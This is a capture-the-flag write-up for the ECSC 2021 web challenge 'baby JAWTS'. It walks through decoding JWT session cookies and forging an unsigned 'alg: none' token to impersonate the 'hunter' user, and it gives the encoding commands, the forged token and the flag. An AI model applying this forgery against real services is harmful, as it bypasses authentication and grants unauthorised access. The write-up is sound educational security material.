ECSC CTF 2021 - Baby JAWTS Doo Doo Doo
Web 1 - baby JAWTS doo doo doo
Challenge Description
There is None like you, There is None like you, And there will never be another JAWTS hunter, Deemed as worthy as you 🎣 …
- This challenge is started on-demand.
Steps
Brute Force URIs
The first step was to find any open directories-files:
gobuster -u http://159.65.50.127:30139 -w common.txt
But nothing was found…
Input Field
After looking the page and inspecting the HTML-JS code the only valuable piece of info is the input field and the fact that the fish database is stored as an object in memory and we can see all entries. If we search for the flag in the input field we get redirected to:
http://159.65.50.127:30139/flag
And we get the following message:
guest_b28fd64296 does not have access to this flag resource, only a hunter would.
This hints us to alter the cookies in order to impersonate the hunter
user.
Cookies Exploration
If we inspect the cookies from the browsers console we see that we have been assigned a random guest user and the cookie hash.
For the guest_b28fd64296
, the cookie hash is:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0X2IyOGZkNjQyOTYiLCJpYXQiOjE2MjE2OTMzNzJ9.ExAlRH_y22gyH9e3-zJgK9r2pqwTT2sjUv2hiy-RwHM
If we delete the cookie from the browsers console, we try as another guest.
For the guest_1d304da22b
, the cookie hash is:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0XzFkMzA0ZGEyMmIiLCJpYXQiOjE2MjE2OTMzNTl9.VhviYQMHk4MXACs8BRYj6nfHXu5FbyQRTbagQz6f5EM
We see that the first part of the cookie is the same eyJ1c2VybmFtZSI6Imd1ZXN0X
.
We can try to decode it with base64:
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0X" | base64 -d
{"alg":"HS256","typ":"JWT"}
We can see it is a Jason Web Token (JWT), as the Challenge name implies, and the Hash algorithm is HMAC + SHA256 (HS256).
JWT
A JWT is made of 3 parts: the Header, the Payload and the Signature. Each part is base64url
encoded, and separated by dots. So for the guest_b28fd64296
user we have the three parts:
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
{"alg":"HS256","typ":"JWT"}
echo "eyJ1c2VybmFtZSI6Imd1ZXN0X2IyOGZkNjQyOTYiLCJpYXQiOjE2MjE2OTMzNzJ9" | base64 -d
{"username":"guest_b28fd64296","iat":1621693372}
echo "VhviYQMHk4MXACs8BRYj6nfHXu5FbyQRTbagQz6f5EM" | base64 -d
Va��+<#�w�^�Eo$M��C>��C
or we can use the official JWT page: https://jwt.io, to analyze these fields.
JWT Header
The Header is used to specify the hash algorithm used and the token type.
JWT Payload
The Payload can be filled with any info we want to specify a certain user, but everything in this field is not hashed or encrypted so anyone who has the token can see this info. The same goes for the Header part.
JWT Signature
The Signature is just the Header and the Payload hashed together and signed with a secret key, so we can identify if the token is valid.
JWT Exploit
We will use the "alg": "none"
exploit. This exploit can be found explained in detail here, but the basic logic is that we specify that we don’t want to use an algorithm to verify the signature and some implementation have not a valid check for this case, we makes it that are token is valid without even the Signature part.
So we will change the Header and the Payload of the token as we wish.
For the Header we change the algorithm field to none
:
{"alg":"HS256","typ":"JWT"} -> {"alg":"none","typ":"JWT"}
We can encode the new Header using base64
and replace +
with -
and /
with _
and delete the last =
(in order to be the valid base64url
encoding it expects):
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr '/+' '_-' | tr -d '='
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
else we can use an online tool: https://www.base64url.com/
For the Payload we change the username to hunter
as the /flag
page suggests, and use the latest iat
(Issued At) value in order for the cookie to not be expired:
{"username":"guest_b28fd64296","iat":1621693372} -> {"username":"hunter","iat":1621693372}
We encode the Payload as previous:
echo -n '{"username":"hunter","iat":1621693372}' | base64 | tr '/+' '_-' | tr -d '='
eyJ1c2VybmFtZSI6Imh1bnRlciIsImlhdCI6MTYyMTY5MzM3Mn0
Now we can combine the two fields and add an empty signature using just a dot (.
) as the last character and our new JWT token is:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6Imh1bnRlciIsImlhdCI6MTYyMTY5MzM3Mn0.
We can edit and replace the cookie on the browser (Storage/Cookies
tab) and add ours. When we reload the page and we get:
ECSC{f1n4lly_4_w0r7hy_3n0u6h_J4WTS_hun73r}
Flag
Flag: ECSC{f1n4lly_4_w0r7hy_3n0u6h_J4WTS_hun73r}
Resources
- Hacking JSON Web Tokens (JWTs)
- Critical vulnerabilities in JSON Web Token libraries
- JWT: The Complete Guide to JSON Web Tokens
- Usefull tool for JWT attacks: jwt_tool